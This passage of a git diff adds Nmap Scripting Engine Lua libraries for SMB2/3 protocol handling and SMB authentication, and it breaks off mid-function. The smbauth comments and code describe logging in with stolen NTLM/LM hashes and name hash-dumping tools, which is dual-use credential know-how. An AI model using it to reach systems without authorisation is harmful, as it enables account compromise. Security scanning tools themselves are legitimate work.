+ stdnse.debug2("%s: Write to named pipe (%s) failed: %s",
+ NP_LIBRARY_NAME, self.name, result )
+ errorMessage = "Failed to send message on named pipe", result
+ end
+
+ return status, errorMessage
+ end,
+
+
+ receive = function( self )
+ if not self._smbstate then
+ stdnse.debug2("%s: receive() called on closed pipe (%s)", NP_LIBRARY_NAME, self.name )
+ return false, "Failed to read from named pipe"
+ end
+
+ local status, result, messageData
+ -- Packet header values
+ local offset = 0 -- offset is actually ignored for named pipes, but we'll define the argument for clarity
+ local MAX_BYTES_PER_READ = 4096
+
+ status, result = read_file( self._smbstate, offset, MAX_BYTES_PER_READ, self._overrides )
+
+ if status and result.data then
+ messageData = result.data
+ else
+ stdnse.debug2("%s: Read from named pipe (%s) failed: %s",
+ NP_LIBRARY_NAME, self.name, result )
+ return false, "Failed to read from named pipe", result
+ end
+
+ while (result["status"] == status_codes.NT_STATUS_BUFFER_OVERFLOW) do
+ status, result = read_file( self._smbstate, offset, MAX_BYTES_PER_READ, self._overrides )
+
+ if status and result.data then
+ messageData = messageData .. result.data
+ else
+ stdnse.debug2("%s: Read additional data from named pipe (%s) failed: %s",
+ NP_LIBRARY_NAME, self.name, result )
+ return false, "Failed to read from named pipe", result
+ end
+ end
+
+ return status, messageData
+ end,
+ }
+
+}
+
+filetype_codes =
+{
+ FILE_TYPE_DISK = 0x00,
+ FILE_TYPE_BYTE_MODE_PIPE = 0x01,
+ FILE_TYPE_MESSAGE_MODE_PIPE = 0x02,
+ FILE_TYPE_PRINTER = 0x03,
+ FILE_TYPE_UNKNOWN = 0xFF
+}
+
+for i, v in pairs(filetype_codes) do
+ filetype_names[v] = i
+end
+
+return _ENV;
diff --git a/nselib/smb2.lua b/nselib/smb2.lua
new file mode 100644
index 0000000..4b60d04
--- /dev/null
+++ b/nselib/smb2.lua
@@ -0,0 +1,392 @@
+---
+-- Implements the Server Message Block (SMB) protocol version 2 and 3.
+--
+-- The implementation extends smb.lua to support SMB dialects 2.0.2, 2.1, 3.0,
+-- 3.0.2 and 3.1.1. This is a work in progress and not all commands are
+-- implemented yet. Features/functionality will be added as the scripts
+-- get updated. I tried to be consistent with the current implementation of
+-- smb.lua but some fields may have changed name or don't exist anymore.
+--
+-- @author Paulino Calderon <paulino@calderonpale.com>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+---
+
+local datetime = require "datetime"
+local string = require "string"
+local stdnse = require "stdnse"
+local table = require "table"
+local tableaux = require "tableaux"
+local match = require "match"
+
+_ENV = stdnse.module("smb2", stdnse.seeall)
+
+local TIMEOUT = 10000
+local command_codes =
+{
+ SMB2_COM_NEGOTIATE = 0x0000,
+ SMB2_COM_SESSION_SETUP = 0x0001,
+ SMB2_COM_LOGOFF = 0x0002,
+ SMB2_COM_TREE_CONNECT = 0x0003,
+ SMB2_COM_TREE_DISCONNECT = 0x0004,
+ SMB2_COM_CREATE = 0x0005,
+ SMB2_COM_CLOSE = 0x0006,
+ SMB2_COM_FLUSH = 0x0007,
+ SMB2_COM_READ = 0x0008,
+ SMB2_COM_WRITE = 0x0009,
+ SMB2_COM_LOCK = 0x000A,
+ SMB2_COM_IOCTL = 0x000B,
+ SMB2_COM_CANCEL = 0x000C,
+ SMB2_COM_ECHO = 0x000D,
+ SMB2_COM_QUERY_DIRECTORY = 0x000E,
+ SMB2_COM_CHANGE_NOTIFY = 0x000F,
+ SMB2_COM_QUERY_INFO = 0x0010,
+ SMB2_COM_SET_INFO = 0x0011,
+ SMB2_COM_OPLOCK_BREAK = 0x0012
+}
+local command_names = tableaux.invert(command_codes)
+local smb2_values = {
+ -- Security Mode
+ SMB2_NEGOTIATE_SIGNING_ENABLED = 0x0001,
+ SMB2_NEGOTIATE_SIGNING_REQUIRED = 0x0002,
+ -- Capabilities
+ SMB2_GLOBAL_CAP_DFS = 0x00000001,
+ SMB2_GLOBAL_CAP_LEASING = 0x00000002,
+ SMB2_GLOBAL_CAP_LARGE_MTU = 0x00000004,
+ SMB2_GLOBAL_CAP_MULTI_CHANNEL = 0x00000008,
+ SMB2_GLOBAL_CAP_PERSISTENT_HANDLES = 0x00000010,
+ SMB2_GLOBAL_CAP_DIRECTORY_LEASING = 0x00000020,
+ SMB2_GLOBAL_CAP_ENCRYPTION = 0x00000040,
+ -- Context Types
+ SMB2_ENCRYPTION_CAPABILITIES = 0x0002,
+ SMB2_PREAUTH_INTEGRITY_CAPABILITIES = 0x0001
+}
+local smb2_values_codes = tableaux.invert(smb2_values)
+
+local smb2_dialects = {0x0202, 0x0210, 0x0300, 0x0302, 0x0311}
+local smb2_dialect_names = {}
+for _, d in ipairs(smb2_dialects) do
+ -- convert 0x0abc to "a.b.c"
+ local name = stdnse.tohex(d, {separator = ".", group = 1})
+ -- trim trailing ".0" at sub-minor level
+ smb2_dialect_names[d] = name:find(".0", 4, true) and name:sub(1, 3) or name
+end
+
+---
+-- Returns the list of supported SMB 2 dialects
+-- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/fac3655a-7eb5-4337-b0ab-244bbcd014e8
+-- @return list of 16-bit numerical revision codes (0x202, 0x210, ...)
+---
+function dialects ()
+ return tableaux.tcopy(smb2_dialects)
+end
+
+---
+-- Converts a supported SMB 2 dialect code to dialect name
+-- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/fac3655a-7eb5-4337-b0ab-244bbcd014e8
+-- @param dialect SMB 2 dialect revision code
+-- @return string representing the dialect (or nil). Example: 0x202 -> "2.0.2"
+---
+function dialect_name (dialect)
+ return smb2_dialect_names[dialect]
+end
+
+---
+-- Creates a SMB2 SYNC header packet.
+--
+-- SMB2 Packet Header - SYNC:
+-- * https://msdn.microsoft.com/en-us/library/cc246529.aspx
+--
+-- @param smb The SMB object associated with the connection.
+-- @param command The SMB2 command to execute.
+-- @param overrides Overrides table.
+-- @return header The encoded SMB2 SYNC header.
+---
+function smb2_encode_header_sync(smb, command, overrides)
+ overrides = overrides or {}
+
+ local sig = "\xFESMB" -- SMB2 packet
+ local structureSize = 64 -- SYNC header structure size
+ local flags = 0 -- TODO: Set flags that will work for all dialects
+
+ -- Increase the message id
+ if smb['MessageId'] then
+ smb['MessageId'] = smb['MessageId'] + 1
+ end
+
+ -- Header structure
+ local header = string.pack("<c4 I2 I2 I4 I2 I2 I4 I4 I8 I4 I4 I8 c16",
+ sig, -- 4 bytes: ProtocolId
+ structureSize, -- 2 bytes: StructureSize. Must be 64.
+ (overrides['CreditCharge'] or 0), -- 2 bytes: CreditCharge.
+ (overrides['Status'] or 0), -- 4 bytes: (ChannelSequence/Reserved)/Status.
+ command, -- 2 bytes: Command.
+ (overrides['CreditR'] or 0), -- 2 bytes: CreditRequest/CreditResponse.
+ (overrides['Flags'] or flags), -- 4 bytes: Flags. TODO
+ (overrides['NextCommand'] or 0), -- 4 bytes: NextCommand.
+ (overrides['MessageId'] or smb['MessageId'] or 0), -- 8 bytes: MessageId.
+ (overrides['Reserved'] or 0), -- 4 bytes: Reserved.
+ (overrides['TreeId'] or smb['TreeId'] or 0), -- 4 bytes: TreeId.
+ (overrides['SessionId'] or smb['SessionId'] or 0), -- 8 bytes: SessionId.
+ (overrides['Signature'] or '1234567890123456') -- 16 bytes: Signature.
+ )
+
+ return header
+end
+
+---
+-- Sends a SMB2 packet
+-- @param smb The SMB object associated with the connection
+-- @param header The header encoded with <code>smb_encode_sync_header</code>.
+-- @param data The data.
+-- @param overrides Overrides table.
+-- @return Boolean Status.
+-- @return An error message if status is false.
+---
+function smb2_send(smb, header, data, overrides)
+ overrides = overrides or {}
+ local body = header .. data
+ local attempts = 5
+ local status, err
+
+ local out = string.pack(">s4", body)
+ repeat
+ attempts = attempts - 1
+ stdnse.debug3("SMB: Sending SMB packet (len: %d, attempts remaining: %d)", #out, attempts)
+ status, err = smb['socket']:send(out)
+ until(status or (attempts == 0))
+
+ if(attempts == 0) then
+ stdnse.debug1("SMB: Sending packet failed after 5 tries! Giving up.")
+ end
+
+ return status, err
+end
+
+---
+-- Reads the next SMB2 packet from the socket, and parses it into the header and data.
+-- Netbios handling based taken from smb.lua.
+--
+-- @param smb The SMB object associated with the connection
+-- @param read_data [optional] Return data section. Set to false if you only need the header. Default: true
+-- @return (status, header, data) If status is true, the header,
+-- and data are all the raw arrays of bytes.
+-- If status is false, header contains an error message and data is undefined.
+---
+function smb2_read(smb, read_data)
+ stdnse.debug3("SMB2: Receiving SMB2 packet")
+
+ -- Receive the response -- we make sure to receive at least 4 bytes, the length of the NetBIOS length
+ smb['socket']:set_timeout(TIMEOUT)
+
+ -- attempt to read the Netbios header
+ local status, netbios_data = smb['socket']:receive_buf(match.numbytes(4), true);
+
+ -- Make sure the connection is still alive
+ if not status then
+ return false, "SMB2: Failed to receive bytes: " .. netbios_data
+ end
+
+ -- The length of the packet is 4 bytes of big endian (for our purposes).
+ -- The NetBIOS header is 24 bits, big endian
+ local netbios_length, pos = string.unpack(">I4", netbios_data)
+ -- Make the length 24 bits
+ netbios_length = netbios_length & 0x00FFFFFF
+
+ -- The total length is the netbios_length, plus 4 (for the length itself)
+ local length = netbios_length + 4
+
+ local status, smb_data = smb['socket']:receive_buf(match.numbytes(netbios_length), true)
+
+ -- Make sure the connection is still alive
+ if not status then
+ return false, "SMB2: Failed to receive bytes after 5 attempts: " .. smb_data
+ end
+
+ local result = netbios_data .. smb_data
+ if(#result ~= length) then
+ stdnse.debug1("SMB2: ERROR: Received wrong number of bytes, there will likely be issues (received %d, expected %d)", #result, length)
+ return false, string.format("SMB2: ERROR: Didn't receive the expected number of bytes; received %d, expected %d. This will almost certainly cause some errors.", #result, length)
+ end
+
+ -- The header is 64 bytes.
+ if (pos + 64 > #result) then
+ stdnse.debug2("SMB2: SMB2 packet too small. Size needed to be at least '%d' but we got '%d' bytes", pos+64, #result)
+ return false, "SMB2: ERROR: Header packet too small."
+ end
+ local header, pos = string.unpack("<c64", result, pos)
+
+ -- Read the data section or skip it if read_data is false.
+ local data
+ if(read_data == nil or read_data == true) then
+ data = result:sub(pos)
+ end
+
+ stdnse.debug3("SMB2: smb2_read() received %d bytes", #result)
+ return true, header, data
+end
+
+---
+-- Sends SMB2_COM_NEGOTIATE command for a SMB2/SMB3 connection.
+-- All supported dialects are offered. Use table overrides['Dialects']
+-- to exclude some dialects or to force a specific dialect.
+-- Use function smb2.dialects to obtain the list of supported dialects.
+-- Use function smb2.dialect_name to check whether a given dialect is supported.
+--
+-- Packet structure:
+-- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
+--
+-- @param smb The associated SMB connection object.
+-- @param overrides Overrides table.
+-- @return (status, dialect) If status is true, the negotiated dialect is returned as the second value.
+-- Otherwise if status is false, the error message is returned.
+-- @see dialects
+-- @see dialect_name
+function negotiate_v2(smb, overrides)
+ overrides = overrides or {}
+ local StructureSize = 36 -- Must be set to 36.
+ local Dialects = overrides['Dialects'] or smb2_dialects
+ local DialectCount = #Dialects
+ -- The client MUST set SecurityMode bit to 0x01 if the SMB2_NEGOTIATE_SIGNING_REQUIRED bit is not set,
+ -- and MUST NOT set this bit if the SMB2_NEGOTIATE_SIGNING_REQUIRED bit is set.
+ -- The server MUST ignore this bit.
+ local SecurityMode = overrides["SecurityMode"] or smb2_values['SMB2_NEGOTIATE_SIGNING_ENABLED']
+ local Capabilities = overrides["Capabilities"] or 0 -- SMB 3.x dialect requires capabilities to be constructed
+ local GUID = overrides["GUID"] or "1234567890123456"
+ local ClientStartTime = overrides["ClientStartTime"] or 0 -- ClientStartTime only used in dialects < 3.1.1
+ local total_data = 0 -- Data counter
+ local padding_data = "" -- Padding string to align contexts
+ local context_data -- Holds Context data
+ local is_0311 = tableaux.contains(Dialects, 0x0311) -- Flag for SMB 3.1.1
+ local status, err
+
+ local header = smb2_encode_header_sync(smb, command_codes['SMB2_COM_NEGOTIATE'], overrides)
+
+ -- We construct the first block that works for dialects 2.0.2 up to 3.1.1.
+ local data = string.pack("<I2 I2 I2 I2 I4 c16",
+ StructureSize, -- 2 bytes: StructureSize
+ DialectCount, -- 2 bytes: DialectCount
+ SecurityMode, -- 2 bytes: SecurityMode
+ 0, -- 2 bytes: Reserved - Must be 0
+ Capabilities, -- 4 bytes: Capabilities - 0 for dialects > 3.x
+ GUID -- 16 bytes: ClientGuid
+ )
+
+ -- The next block gets interpreted in different ways depending on the dialect
+ -- If we are dealing with 3.1.1 we need to set the following fields:
+ -- NegotiateContextOffset, NegotiateContextCount, and Reserved2
+ if is_0311 then
+ total_data = #header + #data + (DialectCount*2)
+ padding_data = string.rep("\0", (8 - total_data % 8) % 8)
+ total_data = total_data + #padding_data
+ data = data .. string.pack("<I4 I2 I2",
+ total_data+8, -- NegotiateContextOffset (4 bytes)
+ 0x2, -- NegotiateContextCount (2 bytes)
+ 0x0 -- Reserved2 (2 bytes)
+ )
+ else -- If it's not 3.1.1, the bytes are the ClientStartTime (8 bytes)
+ data = data .. string.pack("<I8", ClientStartTime)
+ end -- if is_0311
+
+ -- Now we build the Dialect list, 16 bit integers
+ for _, v in ipairs(Dialects) do
+ data = data .. string.pack("<I2", v)
+ end
+
+ -- If 3.11, we now need to add some padding between the dialects and the NegotiateContextList
+ -- I was only able to get this to work using both NegotiateContexts:
+ -- * SMB2_PREAUTH_INTEGRITY_CAPABILITIES
+ -- * SMB2_ENCRYPTION_CAPABILITIES
+ if is_0311 then
+ data = data .. padding_data
+ local negotiate_context_list, context_data
+
+ -- We set SMB2_ENCRYPTION_CAPABILITIES first
+ context_data = string.pack("<I2 I2 I2",
+ 0x2, -- CipherCount (2 bytes): 2 ciphers available
+ 0x0002, -- Ciphers (2 bytes each): AES-128-GCM
+ 0x0001 -- Ciphers (2 bytes each): AES-128-CCM
+ )
+ data = data .. string.pack("<I2 I2 I4",
+ smb2_values['SMB2_ENCRYPTION_CAPABILITIES'],-- ContextType (2 bytes)
+ #context_data, -- DataLength (2 bytes)
+ 0x0 -- Reserved (4 bytes)
+ ) .. context_data -- Data (SMB2_ENCRYPTION_CAPABILITIES)
+
+ -- We now add SMB2_PREAUTH_INTEGRITY_CAPABILITIES
+ -- We add the padding between contexts so they are 8 byte aligned
+ total_data = #header + #data
+ padding_data = string.rep("\0", (8 - total_data % 8) % 8)
+ data = data .. padding_data
+ context_data = context_data .. string.pack("<I2 I2 I2 I16 I16",
+ 0x1, -- HashAlgorithmCount (2 bytes)
+ 0x20, -- SaltLength (2 bytes)
+ 0x0001, -- HashAlgorithms (2 bytes each): SHA-512
+ 0x0, -- Salt
+ 0x1 -- Salt
+ )
+ data = data .. string.pack("<I2 I2 I4",
+ smb2_values['SMB2_PREAUTH_INTEGRITY_CAPABILITIES'], -- ContextType (2 bytes)
+ #context_data, -- DataLength (2 bytes)
+ 0x0 -- Reserved (4 bytes)
+ ) .. context_data
+
+ end
+
+ status, err = smb2_send(smb, header, data)
+ if not status then
+ return false, err
+ end
+ status, header, data = smb2_read(smb)
+
+ local protocol_version, structure_size, credit_charge, status = string.unpack("<c4 I2 I2 I4", header)
+ -- Get the protocol version
+ if(protocol_version ~= ("\xFESMB") or structure_size ~= 64) then
+ return false, "SMB: Server returned an invalid SMBv2 packet"
+ end
+ stdnse.debug2("SMB2_COM_NEGOTIATE returned status '%s'", status)
+
+ if status ~= 0 then
+ stdnse.debug2("SMB2_COM_NEGOTIATE command failed: Dialect not supported.")
+ return false, "SMB2: Dialect is not supported. Exiting."
+ end
+
+ local parameters_format = "<I2 I2 I2 I2 c16 I4 I4 I4 I4 I8 I8"
+ if #data < string.packsize(parameters_format) then
+ -- smb.lua can tolerate missing time/timezone, but it's less likely any
+ -- SMB2 implementations will not have them. If this becomes a problem, we
+ -- can shorten this unpack format like in smb.negotiate_v1
+ return false, "SMB2: ERROR: Server returned less data than it was supposed to (one or more fields are missing)"
+ end
+
+ local data_structure_size, security_mode, negotiate_context_count
+ data_structure_size, smb['security_mode'], smb['dialect'],
+ negotiate_context_count, smb['server_guid'], smb['capabilities'],
+ smb['max_trans'], smb['max_read'], smb['max_write'], smb['time'],
+ smb['start_time'] = string.unpack(parameters_format, data)
+
+ if(data_structure_size ~= 65) then
+ return false, string.format("Server returned an unknown structure size in SMB2 NEGOTIATE response")
+ end
+
+ -- Convert the time and timezone to human readable values (taken from smb.lua)
+ smb['time'] = (smb['time'] // 10000000) - 11644473600
+ smb['date'] = datetime.format_timestamp(smb['time'])
+
+ -- Samba does not report the boot time
+ if smb['start_time'] ~= 0 then
+ smb['start_time'] = (smb['start_time'] // 10000000) - 11644473600
+ smb['start_date'] = datetime.format_timestamp(smb['start_time'])
+ else
+ smb['start_date'] = "N/A"
+ end
+
+ local security_buffer_offset, security_buffer_length, neg_context_offset
+ security_buffer_offset, security_buffer_length, neg_context_offset = string.unpack("<I2 I2 I4", data)
+ if status == 0 then
+ return true, smb['dialect']
+ else
+ return false, string.format("Status error code:%s",status)
+ end
+end
+
+return _ENV;
diff --git a/nselib/smbauth.lua b/nselib/smbauth.lua
new file mode 100644
index 0000000..6fe547a
--- /dev/null
+++ b/nselib/smbauth.lua
@@ -0,0 +1,991 @@
+---
+-- This module takes care of the authentication used in SMB (LM, NTLM, LMv2, NTLMv2).
+--
+-- There is a lot to this functionality, so if you're interested in how it works, read
+-- on.
+-- In SMB authentication, there are two distinct concepts. Each will be dealt with
+-- separately. There are:
+-- * Stored hashes
+-- * Authentication
+--
+-- What's confusing is that the same names are used for each of those.
+--
+-- Stored Hashes:
+-- Windows stores two types of hashes: Lanman and NT Lanman (or NTLM). Vista and later
+-- store NTLM only. Lanman passwords are divided into two 7-character passwords and
+-- used as a key in DES, while NTLM is converted to unicode and MD4ed.
+--
+-- The stored hashes can be dumped in a variety of ways (pwdump6, fgdump, Metasploit's
+-- <code>priv</code> module, <code>smb-psexec.nse</code>, etc). Generally, two hashes are dumped together
+-- (generally, Lanman:NTLM). Sometimes, Lanman is empty and only NTLM is given. Lanman
+-- is never required.
+--
+-- The password hashes can be given instead of passwords when supplying credentials;
+-- this is done by using the <code>smbhash</code> argument. Either a pair of hashes
+-- can be passed, in the form of Lanman:NTLM, or a single hash, which is assumed to
+-- be NTLM.
+--
+-- Authentication:
+-- There are four types of authentication. Confusingly, these have the same names as
+-- stored hashes, but only slight relationships. The four types are Lanmanv1, NTLMv1,
+-- Lanmanv2, and NTLMv2. By default, Lanmanv1 and NTLMv1 are used together in most
+-- applications. These Nmap scripts default to NTLMv1 alone, except in special cases,
+-- but it can be overridden by the user.
+--
+-- Lanmanv1 and NTLMv1 both use DES for their response. The DES mixes a server challenge
+-- with the hash (Lanman hash for Lanmanv1 response and NTLMv1 hash for NTLM response).
+-- The way the challenge is DESed with the hashes is identical for Lanmanv1 and NTLMv1,
+-- the only difference is the starting hash (Lanman vs NTLM).
+--
+-- Lanmanv2 and NTLMv2 both use HMAC-MD5 for their response. The HMAC-MD5 mixes a
+-- server challenge and a client challenge with the NTLM hash, in both cases. The
+-- difference between Lanmanv2 and NTLMv2 is the length of the client challenge;
+-- Lanmanv2 has a maximum client challenge of 8 bytes, whereas NTLMv2 doesn't limit
+-- the length of the client challenge.
+--
+-- The primary advantage to the 'v2' protocols is the client challenge -- by
+-- incorporating a client challenge, a malicious server can't use a precomputation
+-- attack.
+--
+-- In addition to hashing the passwords, messages are also signed, by default, if a
+-- v1 protocol is being used (I (Ron Bowes) couldn't get signatures to work on v2
+-- protocols; if anybody knows how I'd love to implement it).
+--
+--@args smbusername The SMB username to log in with. The forms "DOMAIN\username" and "username@DOMAIN"
+-- are not understood. To set a domain, use the <code>smbdomain</code> argument.
+--@args smbdomain The domain to log in with. If you aren't in a domain environment, then anything
+-- will (should?) be accepted by the server.
+--@args smbpassword The password to connect with. Be cautious with this, since some servers will lock
+-- accounts if the incorrect password is given. Although it's rare that the
+-- Administrator account can be locked out, in the off chance that it can, you could
+-- get yourself in trouble. To use a blank password, leave this parameter off
+-- altogether.
+--@args smbhash A password hash to use when logging in. This is given as a single hex string (32
+-- characters) or a pair of hex strings (both 32 characters, optionally separated by a
+-- single character). These hashes are the LanMan or NTLM hash of the user's password,
+-- and are stored on disk or in memory. They can be retrieved from memory
+-- using the fgdump or pwdump tools.
+--@args smbtype The type of SMB authentication to use. These are the possible options:
+-- * <code>v1</code>: Sends LMv1 and NTLMv1.
+-- * <code>LMv1</code>: Sends LMv1 only.
+-- * <code>NTLMv1</code>: Sends NTLMv1 only (default).
+-- * <code>v2</code>: Sends LMv2 and NTLMv2.
+-- * <code>LMv2</code>: Sends LMv2 only.
+-- * <code>NTLMv2</code>: Doesn't exist; the protocol doesn't support NTLMv2 alone.
+-- The default, <code>NTLMv1</code>, is a pretty decent compromise between security and
+-- compatibility. If you are paranoid, you might want to use <code>v2</code> or
+-- <code>lmv2</code> for this. (Actually, if you're paranoid, you should be avoiding this
+-- protocol altogether!). If you're using an extremely old system, you might need to set
+-- this to <code>v1</code> or <code>lm</code>, which are less secure but more compatible.
+-- For information, see <code>smbauth.lua</code>.
+--@args smbnoguest Use to disable usage of the 'guest' account.
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unicode = require "unicode"
+local unittest = require "unittest"
+_ENV = stdnse.module("smbauth", stdnse.seeall)
+
+local have_ssl, openssl = pcall(require, "openssl")
+
+-- Constants
+local NTLMSSP_NEGOTIATE = 0x00000001
+local NTLMSSP_CHALLENGE = 0x00000002
+local NTLMSSP_AUTH = 0x00000003
+
+local session_key = string.rep("\0", 16)
+
+-- Types of accounts (ordered by how useful they are
+local ACCOUNT_TYPES = {
+ ANONYMOUS = 0,
+ GUEST = 1,
+ USER = 2,
+ ADMIN = 3
+}
+
+local function account_exists(host, username, domain)
+ if(host.registry['smbaccounts'] == nil) then
+ return false
+ end
+
+ for i, j in pairs(host.registry['smbaccounts']) do
+ if(j['username'] == username and j['domain'] == domain) then
+ return true
+ end
+ end
+
+ return false
+end
+
+--- Try the next stored account for this host
+-- @param host The host table
+-- @param num If nil, the next account is chosen. If a number, the account at
+-- that index is chosen
+function next_account(host, num)
+ if(num == nil) then
+ if(host.registry['smbindex'] == nil) then
+ host.registry['smbindex'] = 1
+ else
+ host.registry['smbindex'] = host.registry['smbindex'] + 1
+ end
+ else
+ host.registry['smbindex'] = num
+ end
+end
+
+---Writes the given account to the registry.
+--
+-- There are several places where accounts are stored:
+-- * registry['usernames'][username] => true
+-- * registry['smbaccounts'][username] => password
+-- * registry[ip]['smbaccounts'] => array of table containing 'username', 'password', and 'is_admin'
+--
+-- The final place, 'smbaccount', is reserved for the "best" account. This is
+-- an administrator account, if one's found; otherwise, it's the first account
+-- discovered that isn't <code>guest</code>.
+--
+-- This has to be called while no SMB connections are made, since it
+-- potentially makes its own connection.
+--
+--@param host The host object.
+--@param username The username to add.
+--@param domain The domain to add.
+--@param password The password to add.
+--@param password_hash The password hash to add.
+--@param hash_type The hash type to use.
+--@param is_admin [optional] Set to 'true' the account is known to be an administrator.
+function add_account(host, username, domain, password, password_hash, hash_type, is_admin)
+ -- Save the username in a global list -- TODO: restore this
+ -- if(nmap.registry.usernames == nil) then
+ -- nmap.registry.usernames = {}
+ -- end
+ -- nmap.registry.usernames[username] = true
+ --
+ -- -- Save the username/password pair in a global list
+ -- if(nmap.registry.smbaccounts == nil) then
+ -- nmap.registry.smbaccounts = {}
+ -- end
+ -- nmap.registry.smbaccounts[username] = password
+
+ -- Check if we've already recorded this account
+ if(account_exists(host, username, domain)) then
+ return
+ end
+
+ if(host.registry['smbaccounts'] == nil) then
+ host.registry['smbaccounts'] = {}
+ end
+
+ -- Determine the type of account, if it wasn't given
+ local account_type = nil
+ if(is_admin) then
+ account_type = ACCOUNT_TYPES.ADMIN
+ else
+ if(username == '') then
+ -- Anonymous account
+ account_type = ACCOUNT_TYPES.ANONYMOUS
+ elseif(string.lower(username) == 'guest') then
+ -- Guest account
+ account_type = ACCOUNT_TYPES.GUEST
+ else
+ -- We have to assume it's a user-level account (we just can't call any SMB functions from inside here)
+ account_type = ACCOUNT_TYPES.USER
+ end
+ end
+
+ -- Set some defaults
+ if(hash_type == nil) then
+ hash_type = 'ntlm'
+ end
+
+ -- Save the new account if this is our first one, or our other account isn't an admin
+ local new_entry = {}
+ new_entry['username'] = username
+ new_entry['domain'] = domain
+ new_entry['password'] = password
+ new_entry['password_hash'] = password_hash
+ new_entry['hash_type'] = string.lower(hash_type)
+ new_entry['account_type'] = account_type
+
+ -- Insert the new entry into the table
+ table.insert(host.registry['smbaccounts'], new_entry)
+
+ -- Sort the table based on the account type (we want anonymous at the end, administrator at the front)
+ table.sort(host.registry['smbaccounts'], function(a,b) return a['account_type'] > b['account_type'] end)
+
+ -- Print a debug message
+ stdnse.debug1("SMB: Added account '%s' to account list", username)
+
+ -- Reset the credentials
+ next_account(host, 1)
+
+ -- io.write("\n\n" .. nsedebug.tostr(host.registry['smbaccounts']) .. "\n\n")
+end
+
+---Retrieve the current set of credentials set in the registry.
+--
+-- If these fail, <code>next_account</code> should be called.
+--
+--@param host The host object.
+--@return status true or false. If false, the next return value is an error
+-- message and no other values are returned.
+--@return username
+--@return domain
+--@return password
+--@return password_hash
+--@return hash_type
+--@see next_account
+function get_account(host)
+ if(host.registry['smbindex'] == nil) then
+ host.registry['smbindex'] = 1
+ end
+
+ local index = host.registry['smbindex']
+ local account = host.registry['smbaccounts'][index]
+
+ if(account == nil) then
+ return false, "No accounts left to try"
+ end
+
+ return true, account['username'], account['domain'], account['password'], account['password_hash'], account['hash_type']
+end
+
+---Initialize the host's account table.
+--
+-- Create the account table with the anonymous and guest users, as well as the
+-- user given in the script's arguments, if there is one.
+--
+--@param host The host object.
+function init_account(host)
+ -- Don't run this more than once for each host
+ if(host.registry['smbaccounts'] ~= nil) then
+ return
+ end
+
+ -- Create the list
+ host.registry['smbaccounts'] = {}
+
+ -- Add the anonymous/guest accounts
+ add_account(host, '', '', '', nil, 'none')
+
+ if(not stdnse.get_script_args( "smbnoguest" )) then
+ add_account(host, 'guest', '', '', nil, 'ntlm')
+ end
+
+ -- Add the account given on the commandline (TODO: allow more than one?)
+ local args = nmap.registry.args
+ local username = nil
+ local domain = ''
+ local password = nil
+ local password_hash = nil
+ local hash_type = 'ntlm'
+
+ -- Do the username first
+ if(args.smbusername ~= nil) then
+ username = args.smbusername
+ elseif(args.smbuser ~= nil) then
+ username = args.smbuser
+ end
+
+ -- If the username exists, do everything else
+ if(username ~= nil) then
+ -- Domain
+ if(args.smbdomain ~= nil) then
+ domain = args.smbdomain
+ end
+
+ -- Type
+ if(args.smbtype ~= nil) then
+ hash_type = args.smbtype
+ end
+
+ -- Do the password
+ if(args.smbpassword ~= nil) then
+ password = args.smbpassword
+ elseif(args.smbpass ~= nil) then
+ password = args.smbpass
+ end
+
+ -- Only use the hash if there's no password
+ if(password == nil) then
+ password_hash = args.smbhash
+ end
+
+ -- Add the account, if we got a password
+ if(password == nil and password_hash == nil) then
+ stdnse.debug1("SMB: Either smbpass, smbpassword, or smbhash have to be passed as script arguments to use an account")
+ else
+ add_account(host, username, domain, password, password_hash, hash_type)
+ end
+ end
+end
+
+---Generate the Lanman v1 hash (LMv1).
+--
+-- The generated hash is incredibly easy to reverse, because the input is
+-- padded or truncated to 14 characters, then split into two 7-character
+-- strings. Each of these strings are used as a key to encrypt the string,
+-- "KGS!@#$%" in DES. Because the keys are no longer than 7-characters long,
+-- it's pretty trivial to bruteforce them.
+--
+--@param password the password to hash
+--@return true on success, or false on error
+--@return The LMv1 hash
+local function lm_create_hash(password)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+
+ local str1, str2
+ local key1, key2
+ local result
+
+ -- Convert the password to uppercase
+ password = string.upper(password)
+
+ -- Encode the password in OEM code page
+ -- Supporting all the OEM code pages would be burdensome, so we try to
+ -- convert to CP437, the default for US-English Windows, which is
+ -- used for Alt+NumPad "unicode" entry in all versions of Windows.
+ -- https://en.wikipedia.org/wiki/Code_page_437
+ do
+ local buf = {}
+ for i, cp in ipairs(unicode.decode(password, unicode.utf8_dec)) do
+ local ch = unicode.cp437_enc(cp)
+ if ch == nil then
+ return false, "Couldn't encode password in CP437"
+ end
+ buf[i] = ch
+ end
+ password = table.concat(buf)
+ end
+
+ -- If password is under 14 characters, pad it to 14
+ password = password .. string.rep('\0', 14 - #password)
+
+ -- Take the first and second half of the password (note that if it's longer than 14 characters, it's truncated)
+ str1 = string.sub(password, 1, 7)
+ str2 = string.sub(password, 8, 14)
+
+ -- Generate the keys
+ key1 = openssl.DES_string_to_key(str1)
+ key2 = openssl.DES_string_to_key(str2)
+
+ -- Encrypt the string "KGS!@#$%" with each half, and concatenate it
+ result = openssl.encrypt("DES", key1, nil, "KGS!@#$%") .. openssl.encrypt("DES", key2, nil, "KGS!@#$%")
+
+ return true, result
+end
+
+---Generate the NTLMv1 hash.
+--
+-- This hash is quite a bit better than LMv1, and is far easier to generate.
+-- Basically, it's the MD4 of the Unicode password.
+--
+--@param password the password to hash
+--@return true on success, or false on error
+--@return The NTLMv1 hash
+function ntlm_create_hash(password)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+
+ return true, openssl.md4(unicode.utf8to16(password))
+end
+
+---Create the Lanman response to send back to the server.
+--
+-- To do this, the Lanman password is padded to 21 characters and split into
+-- three 7-character strings. Each of those strings is used as a key to encrypt
+-- the server challenge. The three encrypted strings are concatenated and
+-- returned.
+--
+--@param lanman The LMv1 hash
+--@param challenge The server's challenge.
+--@return true on success, or false on error
+--@return The client challenge response, or an error message
+function lm_create_response(lanman, challenge)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+
+ local str1, str2, str3
